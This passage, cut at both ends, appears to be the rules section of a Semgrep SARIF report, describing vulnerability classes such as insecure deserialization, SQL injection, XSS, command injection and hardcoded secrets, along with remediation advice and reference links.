Rule](https://semgrep.dev/r/python.pyramid.deserialization.tainted-jsonpickle-pyramid.tainted-jsonpickle-pyramid)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://github.com/jsonpickle/jsonpickle#jsonpickle](https://github.com/jsonpickle/jsonpickle#jsonpickle)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"helpUri":"https://semgrep.dev/r/python.pyramid.deserialization.tainted-jsonpickle-pyramid.tainted-jsonpickle-pyramid","id":"python.pyramid.deserialization.tainted-jsonpickle-pyramid.tainted-jsonpickle-pyramid","name":"python.pyramid.deserialization.tainted-jsonpickle-pyramid.tainted-jsonpickle-pyramid","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyramid.deserialization.tainted-jsonpickle-pyramid.tainted-jsonpickle-pyramid"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The return value of `snprintf` is the number of characters that would be written, excluding the NUL terminator. The return value must be validated before using it as a buffer index or buffer length in this following `snprintf` call."},"help":{"markdown":"The return value of `snprintf` is the number of characters that would be written, excluding the NUL terminator. The return value must be validated before using it as a buffer index or buffer length in this following `snprintf` call.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.strings.snprintf-return-value-snprintf.snprintf-return-value-snprintf)\n - [https://cwe.mitre.org/data/definitions/787.html](https://cwe.mitre.org/data/definitions/787.html)\n - [https://wiki.sei.cmu.edu/confluence/display/c/ARR30-C.+Do+not+form+or+use+out-of-bounds+pointers+or+array+subscripts](https://wiki.sei.cmu.edu/confluence/display/c/ARR30-C.+Do+not+form+or+use+out-of-bounds+pointers+or+array+subscripts)\n","text":"The return value of `snprintf` is the number of characters that would be written, excluding the NUL terminator. The return value must be validated before using it as a buffer index or buffer length in this following `snprintf` call."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.strings.snprintf-return-value-snprintf.snprintf-return-value-snprintf","id":"cpp.lang.security.strings.snprintf-return-value-snprintf.snprintf-return-value-snprintf","name":"cpp.lang.security.strings.snprintf-return-value-snprintf.snprintf-return-value-snprintf","properties":{"precision":"very-high","tags":["CWE-787: Out-of-bounds Write","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.strings.snprintf-return-value-snprintf.snprintf-return-value-snprintf"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.sql.gorilla-pg-sqli-taint.gorilla-pg-sqli-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://pg.uptrace.dev/queries/](https://pg.uptrace.dev/queries/)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"helpUri":"https://semgrep.dev/r/go.gorilla.sql.gorilla-pg-sqli-taint.gorilla-pg-sqli-taint","id":"go.gorilla.sql.gorilla-pg-sqli-taint.gorilla-pg-sqli-taint","name":"go.gorilla.sql.gorilla-pg-sqli-taint.gorilla-pg-sqli-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.sql.gorilla-pg-sqli-taint.gorilla-pg-sqli-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected explicitly unescaped content using 'Markup()'. This permits the unescaped data to include unescaped HTML which could result in cross-site scripting. Ensure this data is not externally controlled, or consider rewriting to not use 'Markup()'."},"help":{"markdown":"Detected explicitly unescaped content using 'Markup()'. This permits the unescaped data to include unescaped HTML which could result in cross-site scripting. Ensure this data is not externally controlled, or consider rewriting to not use 'Markup()'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.xss.audit.explicit-unescape-with-markup.explicit-unescape-with-markup)\n - [https://tedboy.github.io/flask/generated/generated/flask.Markup.html](https://tedboy.github.io/flask/generated/generated/flask.Markup.html)\n","text":"Detected explicitly unescaped content using 'Markup()'. This permits the unescaped data to include unescaped HTML which could result in cross-site scripting. Ensure this data is not externally controlled, or consider rewriting to not use 'Markup()'."},"helpUri":"https://semgrep.dev/r/python.flask.security.xss.audit.explicit-unescape-with-markup.explicit-unescape-with-markup","id":"python.flask.security.xss.audit.explicit-unescape-with-markup.explicit-unescape-with-markup","name":"python.flask.security.xss.audit.explicit-unescape-with-markup.explicit-unescape-with-markup","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.xss.audit.explicit-unescape-with-markup.explicit-unescape-with-markup"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"the `errors` argument to Popen is only available on Python 3.6+"},"help":{"markdown":"the `errors` argument to Popen is only available on Python 3.6+\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python36.python36-compatibility-Popen1)\n","text":"the `errors` argument to Popen is only available on Python 3.6+"},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python36.python36-compatibility-Popen1","id":"python.lang.compatibility.python36.python36-compatibility-Popen1","name":"python.lang.compatibility.python36.python36-compatibility-Popen1","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python36.python36-compatibility-Popen1"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found request data as an index to 'globals()'. This is extremely dangerous because it allows an attacker to execute arbitrary code on the system. Refactor your code not to use 'globals()'."},"help":{"markdown":"Found request data as an index to 'globals()'. This is extremely dangerous because it allows an attacker to execute arbitrary code on the system. Refactor your code not to use 'globals()'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.code.globals-misuse-code-execution.globals-misuse-code-execution)\n - [https://github.com/mpirnat/lets-be-bad-guys/blob/d92768fb3ade32956abd53bd6bb06e19d634a084/badguys/vulnerable/views.py#L181-L186](https://github.com/mpirnat/lets-be-bad-guys/blob/d92768fb3ade32956abd53bd6bb06e19d634a084/badguys/vulnerable/views.py#L181-L186)\n","text":"Found request data as an index to 'globals()'. This is extremely dangerous because it allows an attacker to execute arbitrary code on the system. Refactor your code not to use 'globals()'."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.code.globals-misuse-code-execution.globals-misuse-code-execution","id":"python.django.security.injection.code.globals-misuse-code-execution.globals-misuse-code-execution","name":"python.django.security.injection.code.globals-misuse-code-execution.globals-misuse-code-execution","properties":{"precision":"very-high","tags":["CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.code.globals-misuse-code-execution.globals-misuse-code-execution"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyramid.deserialization.tainted-torch-pickle-pyramid.tainted-torch-pickle-pyramid)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/](https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/)\n - [https://pytorch.org/docs/stable/generated/torch.load.html](https://pytorch.org/docs/stable/generated/torch.load.html)\n - [https://pytorch.org/docs/stable/_modules/torch/distributed/distributed_c10d.html#broadcast_object_list:~:text=.BytesIO()-,_pickler,-(f)](https://pytorch.org/docs/stable/_modules/torch/distributed/distributed_c10d.html#broadcast_object_list:~:text=.BytesIO()-,_pickler,-(f))\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources."},"helpUri":"https://semgrep.dev/r/python.pyramid.deserialization.tainted-torch-pickle-pyramid.tainted-torch-pickle-pyramid","id":"python.pyramid.deserialization.tainted-torch-pickle-pyramid.tainted-torch-pickle-pyramid","name":"python.pyramid.deserialization.tainted-torch-pickle-pyramid.tainted-torch-pickle-pyramid","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyramid.deserialization.tainted-torch-pickle-pyramid.tainted-torch-pickle-pyramid"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `knex.raw('SELECT $1 from table', [userinput])`"},"help":{"markdown":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `knex.raw('SELECT $1 from table', [userinput])`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.aws-lambda.security.knex-sqli.knex-sqli)\n - [https://knexjs.org/#Builder-fromRaw](https://knexjs.org/#Builder-fromRaw)\n - [https://knexjs.org/#Builder-whereRaw](https://knexjs.org/#Builder-whereRaw)\n","text":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `knex.raw('SELECT $1 from table', [userinput])`"},"helpUri":"https://semgrep.dev/r/javascript.aws-lambda.security.knex-sqli.knex-sqli","id":"javascript.aws-lambda.security.knex-sqli.knex-sqli","name":"javascript.aws-lambda.security.knex-sqli.knex-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.aws-lambda.security.knex-sqli.knex-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Slack Webhook detected"},"help":{"markdown":"Slack Webhook detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-slack-webhook.detected-slack-webhook)\n - [https://api.slack.com/messaging/webhooks](https://api.slack.com/messaging/webhooks)\n","text":"Slack Webhook detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-slack-webhook.detected-slack-webhook","id":"generic.secrets.security.detected-slack-webhook.detected-slack-webhook","name":"generic.secrets.security.detected-slack-webhook.detected-slack-webhook","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-slack-webhook.detected-slack-webhook"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.grpc.sql.grpc-vanillasql-format-string-sqli-taint.grpc-vanillasql-format-string-sqli-taint)\n - [https://golang.org/pkg/database/sql/](https://golang.org/pkg/database/sql/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"helpUri":"https://semgrep.dev/r/go.grpc.sql.grpc-vanillasql-format-string-sqli-taint.grpc-vanillasql-format-string-sqli-taint","id":"go.grpc.sql.grpc-vanillasql-format-string-sqli-taint.grpc-vanillasql-format-string-sqli-taint","name":"go.grpc.sql.grpc-vanillasql-format-string-sqli-taint.grpc-vanillasql-format-string-sqli-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.grpc.sql.grpc-vanillasql-format-string-sqli-taint.grpc-vanillasql-format-string-sqli-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The use of $sce.trustAsJs can be dangerous if unsanitized user input flows through this API."},"help":{"markdown":"The use of $sce.trustAsJs can be dangerous if unsanitized user input flows through this API.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.angular.security.detect-angular-trust-as-js-method.detect-angular-trust-as-js-method)\n - [https://docs.angularjs.org/api/ng/service/$sce#trustAsJs](https://docs.angularjs.org/api/ng/service/$sce#trustAsJs)\n - [https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf](https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf)\n","text":"The use of $sce.trustAsJs can be dangerous if unsanitized user input flows through this API."},"helpUri":"https://semgrep.dev/r/javascript.angular.security.detect-angular-trust-as-js-method.detect-angular-trust-as-js-method","id":"javascript.angular.security.detect-angular-trust-as-js-method.detect-angular-trust-as-js-method","name":"javascript.angular.security.detect-angular-trust-as-js-method.detect-angular-trust-as-js-method","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.angular.security.detect-angular-trust-as-js-method.detect-angular-trust-as-js-method"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Checks for strong parameter bypass through usage of create_with. Create_with bypasses strong parameter protection, which could allow attackers to set arbitrary attributes on models. To fix this vulnerability, either remove all create_with calls or use the permit function to specify tags that are allowed to be set."},"help":{"markdown":"Checks for strong parameter bypass through usage of create_with. Create_with bypasses strong parameter protection, which could allow attackers to set arbitrary attributes on models. To fix this vulnerability, either remove all create_with calls or use the permit function to specify tags that are allowed to be set.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.create-with.create-with)\n - [https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_create_with.rb](https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_create_with.rb)\n - [https://groups.google.com/g/rubyonrails-security/c/M4chq5Sb540/m/CC1Fh0Y_NWwJ](https://groups.google.com/g/rubyonrails-security/c/M4chq5Sb540/m/CC1Fh0Y_NWwJ)\n","text":"Checks for strong parameter bypass through usage of create_with. Create_with bypasses strong parameter protection, which could allow attackers to set arbitrary attributes on models. To fix this vulnerability, either remove all create_with calls or use the permit function to specify tags that are allowed to be set."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.create-with.create-with","id":"ruby.lang.security.create-with.create-with","name":"ruby.lang.security.create-with.create-with","properties":{"precision":"very-high","tags":["CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes","LOW CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.create-with.create-with"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Property decoded from JWT token without verifying and cannot be trustworthy."},"help":{"markdown":"Property decoded from JWT token without verifying and cannot be trustworthy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.react.security.audit.react-jwt-decoded-property.react-jwt-decoded-property)\n - [https://pragmaticwebsecurity.com/articles/oauthoidc/localstorage-xss.html](https://pragmaticwebsecurity.com/articles/oauthoidc/localstorage-xss.html)\n","text":"Property decoded from JWT token without verifying and cannot be trustworthy."},"helpUri":"https://semgrep.dev/r/typescript.react.security.audit.react-jwt-decoded-property.react-jwt-decoded-property","id":"typescript.react.security.audit.react-jwt-decoded-property.react-jwt-decoded-property","name":"typescript.react.security.audit.react-jwt-decoded-property.react-jwt-decoded-property","properties":{"precision":"very-high","tags":["CWE-922: Insecure Storage of Sensitive Information","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.react.security.audit.react-jwt-decoded-property.react-jwt-decoded-property"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected `os` function with argument tainted by `event` object. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Ensure no external data reaches here."},"help":{"markdown":"Detected `os` function with argument tainted by `event` object. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Ensure no external data reaches here.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.dangerous-spawn-process.dangerous-spawn-process)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected `os` function with argument tainted by `event` object. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Ensure no external data reaches here."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.dangerous-spawn-process.dangerous-spawn-process","id":"python.aws-lambda.security.dangerous-spawn-process.dangerous-spawn-process","name":"python.aws-lambda.security.dangerous-spawn-process.dangerous-spawn-process","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.dangerous-spawn-process.dangerous-spawn-process"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"`MinVersion` is missing from this TLS configuration.  By default, TLS 1.2 is currently used as the minimum when acting as a client, and TLS 1.0 when acting as a server. General purpose web applications should default to TLS 1.3 with all other protocols disabled.  Only where it is known that a web server must support legacy clients with unsupported an insecure browsers (such as Internet Explorer 10), it may be necessary to enable TLS 1.0 to provide support. Add `MinVersion: tls.VersionTLS13' to the TLS configuration to bump the minimum version to TLS 1.3."},"help":{"markdown":"`MinVersion` is missing from this TLS configuration.  By default, TLS 1.2 is currently used as the minimum when acting as a client, and TLS 1.0 when acting as a server. General purpose web applications should default to TLS 1.3 with all other protocols disabled.  Only where it is known that a web server must support legacy clients with unsupported an insecure browsers (such as Internet Explorer 10), it may be necessary to enable TLS 1.0 to provide support. Add `MinVersion: tls.VersionTLS13' to the TLS configuration to bump the minimum version to TLS 1.3.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.crypto.missing-ssl-minversion.missing-ssl-minversion)\n - [https://golang.org/doc/go1.14#crypto/tls](https://golang.org/doc/go1.14#crypto/tls)\n - [https://golang.org/pkg/crypto/tls/#:~:text=MinVersion](https://golang.org/pkg/crypto/tls/#:~:text=MinVersion)\n - [https://www.us-cert.gov/ncas/alerts/TA14-290A](https://www.us-cert.gov/ncas/alerts/TA14-290A)\n","text":"`MinVersion` is missing from this TLS configuration.  By default, TLS 1.2 is currently used as the minimum when acting as a client, and TLS 1.0 when acting as a server. General purpose web applications should default to TLS 1.3 with all other protocols disabled.  Only where it is known that a web server must support legacy clients with unsupported an insecure browsers (such as Internet Explorer 10), it may be necessary to enable TLS 1.0 to provide support. Add `MinVersion: tls.VersionTLS13' to the TLS configuration to bump the minimum version to TLS 1.3."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.crypto.missing-ssl-minversion.missing-ssl-minversion","id":"go.lang.security.audit.crypto.missing-ssl-minversion.missing-ssl-minversion","name":"go.lang.security.audit.crypto.missing-ssl-minversion.missing-ssl-minversion","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.crypto.missing-ssl-minversion.missing-ssl-minversion"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A check is done with `access` and then the file is later used. There is no guarantee that the status of the file has not changed since the call to `access` which may allow attackers to bypass permission checks."},"help":{"markdown":"A check is done with `access` and then the file is later used. There is no guarantee that the status of the file has not changed since the call to `access` which may allow attackers to bypass permission checks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.filesystem.file-access-before-action.file-access-before-action)\n - [https://wiki.sei.cmu.edu/confluence/display/c/FIO45-C.+Avoid+TOCTOU+race+conditions+while+accessing+files](https://wiki.sei.cmu.edu/confluence/display/c/FIO45-C.+Avoid+TOCTOU+race+conditions+while+accessing+files)\n","text":"A check is done with `access` and then the file is later used. There is no guarantee that the status of the file has not changed since the call to `access` which may allow attackers to bypass permission checks."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.filesystem.file-access-before-action.file-access-before-action","id":"cpp.lang.security.filesystem.file-access-before-action.file-access-before-action","name":"cpp.lang.security.filesystem.file-access-before-action.file-access-before-action","properties":{"precision":"very-high","tags":["CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.filesystem.file-access-before-action.file-access-before-action"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Possible active debug code detected. Deploying an application with debug code can create unintended entry points or expose sensitive information."},"help":{"markdown":"Possible active debug code detected. Deploying an application with debug code can create unintended entry points or expose sensitive information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.active-debug-code-printstacktrace.active-debug-code-printstacktrace)\n - [https://cwe.mitre.org/data/definitions/489.html](https://cwe.mitre.org/data/definitions/489.html)\n - [https://www.acunetix.com/vulnerabilities/web/stack-trace-disclosure-java/](https://www.acunetix.com/vulnerabilities/web/stack-trace-disclosure-java/)\n - [https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/02-Testing_for_Stack_Traces](https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/02-Testing_for_Stack_Traces)\n - [https://www.securecodewarrior.com/blog/coders-conquer-security-share-learn-series-information-exposure](https://www.securecodewarrior.com/blog/coders-conquer-security-share-learn-series-information-exposure)\n","text":"Possible active debug code detected. Deploying an application with debug code can create unintended entry points or expose sensitive information."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.active-debug-code-printstacktrace.active-debug-code-printstacktrace","id":"java.lang.security.audit.active-debug-code-printstacktrace.active-debug-code-printstacktrace","name":"java.lang.security.audit.active-debug-code-printstacktrace.active-debug-code-printstacktrace","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","OWASP-A10:2004 - Insecure Configuration Management","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.active-debug-code-printstacktrace.active-debug-code-printstacktrace"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detection of $HTML from non-constant definition. This can inadvertently expose users to cross-site scripting (XSS) attacks if this comes from user-provided input. If you have to use $HTML, consider using a sanitization library such as DOMPurify to sanitize your HTML."},"help":{"markdown":"Detection of $HTML from non-constant definition. This can inadvertently expose users to cross-site scripting (XSS) attacks if this comes from user-provided input. If you have to use $HTML, consider using a sanitization library such as DOMPurify to sanitize your HTML.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.react.security.audit.react-unsanitized-method.react-unsanitized-method)\n - 